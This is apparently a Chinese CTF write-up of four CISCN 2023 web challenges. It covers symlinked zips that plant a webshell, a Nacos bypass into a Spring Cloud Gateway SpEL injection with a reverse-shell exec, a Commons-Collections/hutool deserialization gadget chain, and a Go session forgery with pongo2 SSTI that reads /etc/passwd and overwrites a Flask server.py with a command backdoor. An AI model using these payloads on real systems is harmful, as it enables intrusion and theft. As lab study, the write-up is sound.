补课
2023CISCN 总览:
Unzip
php软连接写马
BackendService
1. Nacos权限绕过 2. Nacos后台打Spring Cloud gateway SpEL注入
deserbug
CC链
go_session
1. 空密钥伪造cookie 2. go ssti覆盖写server.py 3. SSRF 打热加载Flask
Unzip 随便上传一个文件可以看到源码
这段 PHP 代码的功能是允许用户上传一个文件,并检查该文件是否为 ZIP 格式。如果是 ZIP 文件,它将被解压到服务器的 /tmp
目录下。
$_FILES["file"]["tmp_name"]
是上传文件在服务器上的临时存储路径。
如果上传一个带马压缩包到服务器,服务器会解压到/tmp,访问即getshell。但这里访问不了/tmp目录
把某个目录链接到另一个目录下,对这个目录的任何操作都会作用到另一个目录或者文件,原理见
https://www.cnblogs.com/crazylqy/p/5821105.html
发现demo见:
https://xz.aliyun.com/t/2589?time__1311=n4%2Bxni0%3DG%3Di%3D0QAeGNDQTPiIPD5RSgxYve2KQx
创建一个带软连接目录的压缩包,软连接指向网站根目录/var/www/html
再上传一个带马的压缩包,这个压缩包解压到/tmp的软连接目录的同时也会解压到网站根目录
ln -s /var/www/html ciscn # 创建软连接 zip -y link.zip ciscn # -y保留链接模式压缩 rm ciscn #删去软连接目录 mkdir ciscn # 故意相同文件名,方便后续覆盖ciscn指向的文件地址(在该地址添加解压出的文件) cd ciscn echo ‘shell’ > shell.php # 创建木马 cd .. zip -r link1.zip ciscn # -r压缩整个文件夹
BackendSerivce Nacos权限绕过到spring cloud gataway spel表达式注入
https://xz.aliyun.com/t/11493#toc-3
spring cloud gateway CVE-2022-22947 移步我的blog。
https://godownio.github.io/2023/04/19/spring-cloud-gateway-cve-2022-22947-spel-biao-da-shi-zhu-ru/
nacos利用工具,直接进
https://github.com/charonlight/NacosExploitGUI/releases
2.3.2和2.4.0可以直接Derby SQL RCE,
0.1.0<= Nacos <= 2.2.0 权限绕过
这里是探测出来是2.1.0版本。那就权限绕过登进去看看
登进去
根据
https://xz.aliyun.com/t/11493?u_atoken=70c5589dffd2ae75b8b51f10f52b210d&u_asig=ac11000117268228405895054e007f#toc-4
得知,在SpringCloud GateWay配置文件bootstrap.yml中,看与Nacos连接的情况
如果服务器开了 /actuator接口,那就能直接POST包进行RCE,不用通过Nacos,不过需要spring cloud服务出网
开启了以下两行配置时,便会开启该接口
如果没开/actuator接口,或者出不了网,通过Nacos修改配置文件也能RCE
Nacos输入源码bootstrap.yml中spring cloud的IP和Group,查到就开放在本机
服务中点详情也能看到端口与配置文件想对应。说明Nacos连接了spring cloud gateway,现在想想怎么打spring cloud gateway
因为这里172.12.xx是内网IP,不能直接打18888端口(访问都访问不了),只能通过Nacos来打
依赖看到
CVE-2022-22947 影响范围:
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
题目中的backcfg服务节点(就是nacos服务本身,两者是同一个机器)加载配置文件的话就可以在控制台创建backcfg.json配置,之后backcfg服务节点就会自动导入配置。Nacos会自动访问/actuator/gateway/refresh触发路由
配置列表->+->新建配置,payload塞配置内容里发布,记得Data ID填backcfg,因为Spring cloud gataway bootstrap就是写的自动加载nacos这个配置文件
标准解,通过加路由的方式触发filter进而代码执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 { "spring" : { "cloud" : { "gateway" : { "routes" : [ { "id" : "exam" , "order" : 0 , "uri" : "lb://service-provider" , "predicates" : [ "Path=/echo/**" ] , "filters" : [ { "name" : "AddResponseHeader" , "args" : { "name" : "result" , "value" : "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash反弹shell\").getInputStream())).replaceAll('\\n','').replaceAll('\\r','')}" } } ] } ] } } } }
yaml也能打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 spring: cloud: gateway: routes: - id: exam order: 0 uri: lb: predicates: - Path=/echo
deserbug 题目hint:
1 . cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
2. jdk8u202
先读一下主函数Testapp,开放8888端口,接收bugstr参数。对bugstr进行base64解码,反序列化。这里存在一个反序列化漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public class Testapp { public Testapp () { } public static void main (String[] args) { HttpUtil.createServer(8888 ).addAction("/" , (request, response) -> { String bugstr = request.getParam("bugstr" ); String result = "" ; if (bugstr == null ) { response.write("welcome,plz give me bugstr" , ContentType.TEXT_PLAIN.toString()); } try { byte [] decode = Base64.getDecoder().decode(bugstr); ObjectInputStream inputStream = new ObjectInputStream (new ByteArrayInputStream (decode)); Object object = inputStream.readObject(); result = object.toString(); } catch (Exception var8) { Myexpect myexpect = new Myexpect (); myexpect.setTypeparam(new Class []{String.class}); myexpect.setTypearg(new String []{var8.toString()}); myexpect.setTargetclass(var8.getClass()); try { result = myexpect.getAnyexcept().toString(); } catch (Exception var7) { result = var7.toString(); } } response.write(result, ContentType.TEXT_PLAIN.toString()); }).start(); } }
由于CC版本为3.2.2,没漏洞不能直接打。8u202也不能打原生反序列化
但是hint:cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept 能绕
getAnyexcept()调用newInstance()
newInstance就是调用构造函数嘛,效果和InstantiateTransformer.transform()一样
根据该图,自然就和CC3接上了
前半段触发JSONObject.put,用到LazyMap.get
CC6,CC5,CC7前半段都能用,至于能不能用,具体环境看下链子就行。只是不能用AnnotationInvocationHandler(jdk>8u65)
CC6拼CC3链子:
1 2 3 4 5 6 7 HashMap.readObject-> TiedMapEntry.hashCode-> LazyMap.get-> JSONObject.put-> Myexpect.getAnyexcept-> TrAXFilter.TrAXFilter-> TemplatesImpl.newTransformer
需要传三个参数获取TrAXFilter的构造器并实例化
1 2 3 4 Myexpect myexpect = new Myexpect ();myexpect.setTypeparam(Templates.class); myexpect.setTargetClass(TrAXFilter.class); myexpect.setTypearg(templatesClass);
cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
put接收两个参数,你就别管是哪个,不让LazyMap.get报错只能是value为expect。谜语题
向put的key传constantTransformer(myexpect),当然,CC6后半段的remove、先set假值再换真值的操作不能少
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 package org.example;import cn.hutool.json.JSONObject;import com.app.Myexpect;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.lang.reflect.Field;import java.lang.reflect.Modifier;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CISCN_deserbug { public static void main (String[] args) throws Exception { byte [] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\Test\\target\\classes\\bash_shell.class" )); TemplatesImpl templatesClass = new TemplatesImpl (); Field[] fields = templatesClass.getClass().getDeclaredFields(); for (Field field : fields) { field.setAccessible(true ); if (field.getName().equals("_bytecodes" )) { field.set(templatesClass, new byte [][]{code1}); } else if (field.getName().equals("_name" )) { field.set(templatesClass, "godown" ); } else if (field.getName().equals("_tfactory" )) { field.set(templatesClass, new TransformerFactoryImpl ()); } } Myexpect myexpect = new Myexpect (); myexpect.setTypeparam(new Class []{Templates.class}); myexpect.setTargetclass(TrAXFilter.class); myexpect.setTypearg(new Object []{templatesClass}); JSONObject jsonObject = new JSONObject (); Map lazyMap = LazyMap.decorate(jsonObject, new ConstantTransformer ("godown" )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "test1" ); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(tiedMapEntry, "test2" ); jsonObject.remove("test1" ); Field factory = lazyMap.getClass().getDeclaredField("factory" ); factory.setAccessible(true ); Field modifiersField = Field.class.getDeclaredField("modifiers" ); modifiersField.setAccessible(true ); modifiersField.setInt(factory, factory.getModifiers() & ~Modifier.FINAL); factory.set(lazyMap, new ConstantTransformer (myexpect)); serialize(hashMap); System.out.println(base64encode(Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\Test\\ser.bin" )))); unserialize("ser.bin" ); } public static String base64encode (byte [] bytes) throws Exception { Class<?> base64 = Class.forName("java.util.Base64" ); Object Encoder = base64.getMethod("getEncoder" ).invoke(null ); return (String) Encoder.getClass().getMethod("encodeToString" , byte [].class).invoke(Encoder,bytes); } public static void serialize (Object obj) throws Exception { java.io.FileOutputStream fos = new java .io.FileOutputStream("ser.bin" ); java.io.ObjectOutputStream oos = new java .io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize (String Filename) throws Exception { java.io.FileInputStream fis = new java .io.FileInputStream(Filename); java.io.ObjectInputStream ois = new java .io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; } }
cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept 的调用链相当复杂,由于是bean getter类型的触发,getAnyexcept向上不能查找用法,导致反向分析异常困难。又是一道CTF谜语题,传参直接靠蒙
go_session goland,启动!
ok,进来就看到main.go三个路由转发路径
route.go定义了三个路由处理函数:
Index:获取用户会话,若未设置用户名,则默认为“guest”,并返回问候消息。
Admin:检查用户是否为管理员,不是则返回错误;从查询参数获取名字(默认为“ssti”),进行 XSS 防护处理后渲染模板并返回。
Flask:检查会话中的用户名,然后向本地运行的 Flask 服务器发起 HTTP GET 请求,并将响应内容返回给客户端。
思路也很明确,伪造session为admin后打pongo2的ssti。那flask路由有什么用呢?
带着这个疑惑开始猜谜,猜测根本没有设置环境变量SESSION_KEY。
本地搭建后在浏览器获取到空密钥得到的guest cookie
1 MTczMzc0NDQwNXxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZaM1ZsYzNRPXy9no2SoHj-LhX7qsACbZUDjr3nhKjR7v8iTpv6qJ83pw==
和靶机的cookie相同,符合猜谜
修改name值为admin,能拿到admin的cookie
1 MTczMzc0NDkzM3xEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXx9VHD8fgMEvqUWF-KwBidg8If0fTSh8a3uZYJQX7HK8g==
但是go的ssti并不能直接rce
go ssti 简单介绍一下 pongo2的ssti
1 {{ include "/etc/passwd" }}
go可以通过函数获取http头信息,进而获取任意字符串
gin http.Request结构体如下:
可以通过gin Context的Request.Header获取头信息(注意:gin会将输入的http头的首字符换成大写字符)
比如这里在这里有html.EscapeString过滤双引号,无法直接读文件,可以构造aaa: /etc/passwd
的http头,以下payload读文件
1 name={%25%20include%20c.Request.Header.Aaa[0]%20%25}
通过SaveUploadedFile搭配FormFile写文件
SaveUploadedFile参数如下,接收一个*multipart.FileHeader
对象,一个String作为目标路径。注意到SaveUploadedFile是在gin包的context下,*multipart.FileHeader
对象必然来自http对象
查看用例可以发现context_test.go中用的FormFile生成的*multipart.FileHeader
对象
跟进到FormFile,调用了ParseMultipartForm从Context解析文件,并调用了request.go 的FormFile
这是一个调用ParseMultipartForm从Request解析文件
两个FormFile返回的*multipart.FileHeader
对象都能直接在SaveUploadedFile中使用
比如会解析以下上传文件的数据包(不是题目的环境,而是一个上传文件的普通环境)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /upload HTTP/1.1 Host : localhostUser-Agent : python-requests/2.31.0Accept-Encoding : gzip, deflateAccept : */*Connection : closeContent-Length : 193Content-Type : multipart/form-data; boundary=01f54ee8f2872c8a0d42d14f70cdc1feContent-Disposition: form-data; name ="file"; filename="test.png" Content-Type : image/png This is the file content
得到的f和fhs如下
现在无需上传接口,通过ssti我们能构造向靶机写入任意文件。由于go语言的特性,函数的返回值必须被接收或使用空白标识符 _ 忽略,所以两个返回值的request FormFile无法直接调用
写文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.Header.Filename[0]),c.Request.Header.Filepath[0])}} HTTP/1.1 Host : localhostUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brConnection : keep-aliveCookie : Phpstorm-c886be16=4fe54ddd-bac0-49c8-891f-b23f2d87d891; session-name=MTczMzc0NDkzM3xEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXx9VHD8fgMEvqUWF-KwBidg8If0fTSh8a3uZYJQX7HK8g==Upgrade-Insecure-Requests : 1Sec-Fetch-Dest : documentSec-Fetch-Mode : navigateSec-Fetch-Site : noneSec-Fetch-User : ?1Priority : u=0, iContent-Length : 191Content-Type : multipart/form-data; boundary=01f54ee8f2872c8a0d42d14f70cdc1feFilename : fileFilepath : ./server.pyContent-Disposition: form-data; name ="file"; filename="test.png" Content-Type : image/png This is the file content
题解 写文件跟这道题有什么关系呢?
传参/flask?name=
,有报错信息。
报错页面由Werkzeug Debugger提供。而Werkzeug Debugger 是 Flask 在调试模式下的默认功能
通常,设置 debug=True
会启用 Flask 的调试模式,默认会激活 Werkzeug 的热加载功能。
1 2 if __name__ == "__main__" : app.run(host="127.0.0.1" , port=5000 , debug=True )
调试模式中的热加载功能会在代码发生更改时,自动重新加载 Flask 服务
报错还提到了 PIN 控制台:
当 Flask 热加载功能启用时,每次重新加载会生成新的 PIN,用于保护调试控制台。
当前flask服务器路径为/app/server.py
看到这里思路也就清晰了
先通过admin路由go ssti覆盖写server.py,然后SSRF请求flask服务器执行server.py
恶意flask server:
1 2 3 4 5 6 7 8 9 10 11 12 from flask import *import osapp = Flask(__name__) @app.route('/' ) def index (): name = request.args['name' ] file=os.popen(name).read() return file if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5000 , debug=True )
写/app/server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.Header.Filename[0]),c.Request.Header.Filepath[0])}} HTTP/1.1 Host : efcbd611-8c54-4abc-a9ae-a74d2278a0da.challenge.ctf.showCookie : session-name=MTczMzc0NDkzM3xEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXx9VHD8fgMEvqUWF-KwBidg8If0fTSh8a3uZYJQX7HK8g==User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brReferer : https://ctf.show/Upgrade-Insecure-Requests : 1Sec-Fetch-Dest : documentSec-Fetch-Mode : navigateSec-Fetch-Site : same-siteSec-Fetch-User : ?1Priority : u=0, iTe : trailersConnection : keep-aliveContent-Length : 421Content-Type : multipart/form-data; boundary=01f54ee8f2872c8a0d42d14f70cdc1feFilename : fileFilepath : /app/server.pyContent-Disposition: form-data; name ="file"; filename="test.png" Content-Type : image/png from flask import *import osapp = Flask(__name__) @app.route('/' ) def index (): name = request.args['name' ] file=os.popen(name ).read () return file if __name__ == "__main__": app.run(host="0.0.0.0", port=5000 , debug =True )
双重url编码SSRF
1 ?name=?name=ls%25%32%30/
1 ?name=?name=cat%25%32%30/th1s_1s_f13g